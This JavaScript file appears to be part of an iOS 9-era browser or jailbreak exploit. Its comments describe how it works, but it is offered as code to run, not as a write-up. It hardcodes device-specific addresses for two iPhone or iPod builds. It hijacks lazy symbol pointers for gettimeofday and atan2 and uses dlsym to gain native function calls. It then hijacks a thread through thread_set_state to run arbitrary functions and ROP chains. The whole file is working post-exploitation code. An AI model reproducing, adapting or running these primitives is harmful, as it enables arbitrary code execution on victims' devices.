1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
|
var N94AP_13G37 = 0x0;
var N78AP_13G36 = 0x1;
var build_for = N78AP_13G36;
if (build_for == N94AP_13G37) {
var __stack_chk_fail_lazy_addy = 0x346afc48;
var __stack_chk_fail_resolver = 0x23d751fc;
var gettimeofday_lazy_addy = 0x34d63d3c;
var atan2_lazy_addy = 0x346afc84;
var pthread_exit = 0x20633048 | 1;
var pthread_join = 0x20636af4 | 1;
var add_sp_0x3c = 0x23d72b5a | 1;
var NDR_record = 0x36ebf00c;
} else if (build_for == N78AP_13G36) {
var __stack_chk_fail_lazy_addy = 0x347f7c48;
var __stack_chk_fail_resolver = 0x23d751fc;
var gettimeofday_lazy_addy = 0x347f7d3c;
var atan2_lazy_addy = 0x347f7c84;
var pthread_exit = 0x20633048 | 1;
var pthread_join = 0x20636af4 | 1;
var add_sp_0x3c = 0x23d72b5a | 1;
var NDR_record = 0x364d200c;
}
var reserve_addr = 0x1a0000;
var sym_cache = {};
var slide = 0x0;
var base = 0x0;
//var slid = 0x0;
var mytask = 0;
var count = 0x130000;
var th = 0x130100;
var thread_state = 0x130200;
var countptr = 0x131000;
var thptr = 0x131004;
var thread_stateptr = 0x131008;
var thread = 0x130300;
var threadptr = 0x132300;
var threadptrptr = 0x133300;
var countptrptr = 0x132000;
var thptrptr = 0x132004;
var thread_stateptrptr = 0x132008;
var mov_r1_r0 = 0x72f76 | 1;
var mov_r0 = 0xee40 | 1;
var str_r0_r4 = 0x85474 | 1;
//var stack_shit = 0x161000;
var pthread_ret = 0;
var stack_shit_rop = 0;
function get_dyld_shc_slide() {
/*
* ROP chain places dyld shc slide at slide + reserve_addr + 20
*
* shift by 12 bits bc slide is just the slide byte, whereas shit is slid
* by the slide byte shifted by 12 bits
*/
return read_u32((slide << 12) + reserve_addr + 20);
}
function call(addy) {
/*
* this prim is shit
* the idea is that the gettimeofday_lazy_addy contains the lazy symbol
* address of gettimeofday for jsc, whos value will be jumped to when
* calling gettimeofday
*
* overwrite the lazy symbol address with where we want to jump, then make
* a new date object, which will call gettimeofday to give it the current
* date and time.
*
* then put it back to the original address so it will work properly
*
* multithreading be damned
*/
var dyld_shc_slide = get_dyld_shc_slide();
var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide);
write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy);
var d = new Date();
write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp);
}
function call4arg(addy, r0, r1, r2, r3) {
/*
* same idea as call, but now we use atan2, which gets 2 double arguments.
* a double is 64-bits, so it's passed as 2 registers.
* 2 double args are then the full r0-r3 for args passed on the stack,
* assuming 32-bit args.
*
* so, convert r0-r3 to the doubles they need to be, overwrite, and call.
*
* the first double has the low 4-bytes passed in r0, the high 4 in r1.
* second has low 4 passed in r2, high 4 passed in r3.
*/
var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
arg1d = arg1.asDouble();
arg2d = arg2.asDouble();
delete arg1;
delete arg2;
var dyld_shc_slide = get_dyld_shc_slide();
tmp = read_u32(atan2_lazy_addy + dyld_shc_slide);
write_u32(atan2_lazy_addy + dyld_shc_slide, addy);
ret = Math.atan2(arg1d, arg2d);
write_u32(atan2_lazy_addy + dyld_shc_slide, tmp);
delete tmp;
delete arg1d;
delete arg2d;
/*
* >>> 0 makes sure it's a regular uint32_t
*/
return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
}
/*
* call with symbol
*/
function calls4arg(sym, r0, r1, r2, r3) {
/*
* this calls dlsym with the first arg, then uses the address it returns
* to call. so you can call with a symbol name instead of an address
*/
if (sym in sym_cache) {
var addy = sym_cache[sym];
} else {
var dlsym_addy = read_u32(reserve_addr + 24 + slid);
var shc_slide = read_u32(reserve_addr + 20 + slid);
var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
sym_cache[sym] = addy;
}
return call4arg(addy, r0, r1, r2, r3);
}
var rth = 0;
function symaddr(sym) {
if (sym in sym_cache) {
var addy = sym_cache[sym];
} else {
var dlsym_addy = read_u32(reserve_addr + 24 + slid);
var shc_slide = read_u32(reserve_addr + 20 + slid);
var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
sym_cache[sym] = addy;
}
return addy;
}
function callnarg_new() {
if (arguments.length < 1) {
return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
}
var stack_shit = 0x161000;
/*
* setup ptrs
*/
write_u32(countptr, count);
write_u32(thptr, th);
write_u32(threadptr, thread);
write_u32(thread_stateptr, thread_state);
write_u32(countptrptr, countptr);
write_u32(thptrptr, thptr);
write_u32(threadptrptr, threadptr);
write_u32(thread_stateptrptr, thread_stateptr);
var addy = arguments[0];
var dyld_shc_slide = get_dyld_shc_slide();
/*
* make __stack_chk_fail infinite loop
* (works by setting its lazy addy to its resolver, thus the resolver just
* endlessly jumps to iself)
*/
write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
/*
* if the thread doesn't exist, create it.
*/
calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
thread = read_u32(threadptr);
write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
rth = read_u32(th);
calls4arg("thread_suspend", rth, 0, 0, 0);
if (pthread_ret == 0) {
pthread_ret = malloc(4);
}
/*
* write first 4 to r0-r3, rest to stack
*/
for (var i = 1; i < arguments.length; i++) {
if (i <= 4) {
write_u32(thread_state + ((i - 1) << 2), arguments[i]);
} else {
write_u32(stack_shit + ((i - 5) << 2), arguments[i]);
}
}
var stack_shit_ret_offset = 0x58;
write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide);
/*
* stack
*/
write_u32(thread_state + (13 << 2), stack_shit);
/*
* return address, infinite loop
*/
write_u32(thread_state + (14 << 2), add_sp_0x3c + dyld_shc_slide);
/*
* pc
*/
write_u32(thread_state + (15 << 2), addy);
/*
* cpsr, magic
*/
if (addy & 1) {
write_u32(thread_state + (16 << 2), 0x40000020);
} else {
write_u32(thread_state + (16 << 2), 0x40000000);
}
/*
* set the state
*/
calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
calls4arg("thread_resume", rth, 0, 0, 0);
calls4arg("pthread_join", thread, pthread_ret, 0, 0);
write_u32(count, 17);
calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
return read_u32(pthread_ret);
}
function callnarg() {
if (arguments.length < 1) {
return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
}
/*
* setup ptrs
*/
write_u32(countptr, count);
write_u32(thptr, th);
write_u32(threadptr, thread);
write_u32(thread_stateptr, thread_state);
write_u32(countptrptr, countptr);
write_u32(thptrptr, thptr);
write_u32(threadptrptr, threadptr);
write_u32(thread_stateptrptr, thread_stateptr);
var addy = arguments[0];
var dyld_shc_slide = get_dyld_shc_slide();
var stack_shit = 0x161000;
/*
* make __stack_chk_fail infinite loop
* (works by setting its lazy addy to its resolver, thus the resolver just
* endlessly jumps to iself)
*/
write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
/*
* if the thread doesn't exist, create it.
*/
if (read_u32(th) === 0) {
calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
thread = read_u32(threadptr);
write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
rth = read_u32(th);
}
if (rth === 0) {
rth = read_u32(th);
}
// calls4arg("thread_suspend", rth, 0, 0, 0);
/*
* write first 4 to r0-r3, rest to stack
*/
for (var i = 1; i < arguments.length; i++) {
if (i <= 4) {
write_u32(thread_state + ((i - 1) << 2), arguments[i]);
} else {
write_u32(stack_shit + ((i - 5) << 2), arguments[i]);
}
}
/*
* r9
*/
// write_u32(thread_state + (11 << 2), 0x1337);
/*
* stack
*/
write_u32(thread_state + (13 << 2), stack_shit);
/*
* return address, infinite loop
*/
write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide);
/*
* pc
*/
write_u32(thread_state + (15 << 2), addy);
/*
* cpsr, magic
*/
if (addy & 1) {
write_u32(thread_state + (16 << 2), 0x40000020);
} else {
write_u32(thread_state + (16 << 2), 0x40000000);
}
/*
* set the state
*/
calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
calls4arg("thread_resume", rth, 0, 0, 0);
/*
* spin wait for return
*/
while (true) {
/*
* reset, it's used as input for thread_state size
*/
write_u32(count, 17);
calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
/*
* if the pc is in (resolver, resolver + 8), suspend the thread
* (to not spin endlessly), read r0 and return
*/
if (((read_u32(thread_state + (15 << 2)) >= (__stack_chk_fail_resolver + dyld_shc_slide))) && ((read_u32(thread_state + (15 << 2)) < (__stack_chk_fail_resolver + dyld_shc_slide + 8)))) {
calls4arg("thread_suspend", rth, 0, 0, 0);
return read_u32(thread_state);
}
// calls4arg("usleep", 1000, 0, 0, 0);
}
}
/*
* call with symbol
*/
function scall() {
/*
* this calls dlsym with the first arg, then uses the address it returns
* to call. so you can call with a symbol name instead of an address
*/
if (arguments.length < 1) {
return printf("warning: scall called without args. arguments.length=%d\n", arguments.length);
}
var sym = arguments[0];
if (sym in sym_cache) {
var addy = sym_cache[sym];
} else {
var dlsym_addy = read_u32(reserve_addr + 24 + slid);
var shc_slide = read_u32(reserve_addr + 20 + slid);
var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
sym_cache[sym] = addy;
}
// printf("%s %x %x\n", sym, addy, sym_cache[sym]);
var args_to_pass = new Array();
var force_callnarg = false;
args_to_pass.push(addy);
for (var i = 1; i < arguments.length; i++) {
if (arguments[i].constructor === String) {
args_to_pass.push(sptr(arguments[i]));
} else {
args_to_pass.push(arguments[i]);
if ((arguments[i] & 0xffff0000 == 0xffff0000 || arguments[i] & 0xffff0000 == 0xfffe0000) && (i == 1 || i == 3)) {
force_callnarg = true;
}
}
}
// printf("%s\n", args_to_pass.toString());
if (args_to_pass.length > 5 || force_callnarg) {
// if (sptr_len > 100)
// call4arg(sym_cache["puts"], sptr("callnarg"), 0, 0, 0);
return callnarg.apply(this, args_to_pass);
} else {
// if (sptr_len > 100)
// call4arg(sym_cache["puts"], sptr("call4arg"), 0, 0, 0);
var count_to_me = 5 - arguments.length;
for (var i = 0; i < count_to_me; i++) {
args_to_pass.push(0);
}
return call4arg.apply(this, args_to_pass);
}
}
function rop_init() {
stack_shit_rop = scall("mmap", 0, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
}
function exec_rop(buf) {
/*
* setup ptrs
*/
write_u32(countptr, count);
write_u32(thptr, th);
write_u32(threadptr, thread);
write_u32(thread_stateptr, thread_state);
write_u32(countptrptr, countptr);
write_u32(thptrptr, thptr);
write_u32(threadptrptr, threadptr);
write_u32(thread_stateptrptr, thread_stateptr);
var dyld_shc_slide = get_dyld_shc_slide();
/*
* make __stack_chk_fail infinite loop
* (works by setting its lazy addy to its resolver, thus the resolver just
* endlessly jumps to iself)
*/
write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide);
if (stack_shit_rop == 0) {
rop_init();
}
calls4arg("printf", sptr("%x %x\n"), 0, stack_shit_rop, 0);
/*
* if the thread doesn't exist, create it.
*/
calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0);
thread = read_u32(threadptr);
write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
rth = read_u32(th);
calls4arg("thread_suspend", rth, 0, 0, 0);
if (pthread_ret == 0) {
pthread_ret = malloc(4);
}
write_u32_buf(stack_shit_rop + 0x3c, buf, buf.length * 4);
/*
var stack_shit_ret_offset = 0x58;
write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide);
*/
/*
* stack
*/
write_u32(thread_state + (13 << 2), stack_shit_rop);
/*
* pc
*/
write_u32(thread_state + (15 << 2), add_sp_0x3c + dyld_shc_slide);
/*
* cpsr, magic
*/
write_u32(thread_state + (16 << 2), 0x40000020);
printf("actually doing it\n");
/*
* set the state
*/
calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
calls4arg("thread_resume", rth, 0, 0, 0);
calls4arg("pthread_join", thread, pthread_ret, 0, 0);
write_u32(count, 17);
calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
return read_u32(pthread_ret);
}
|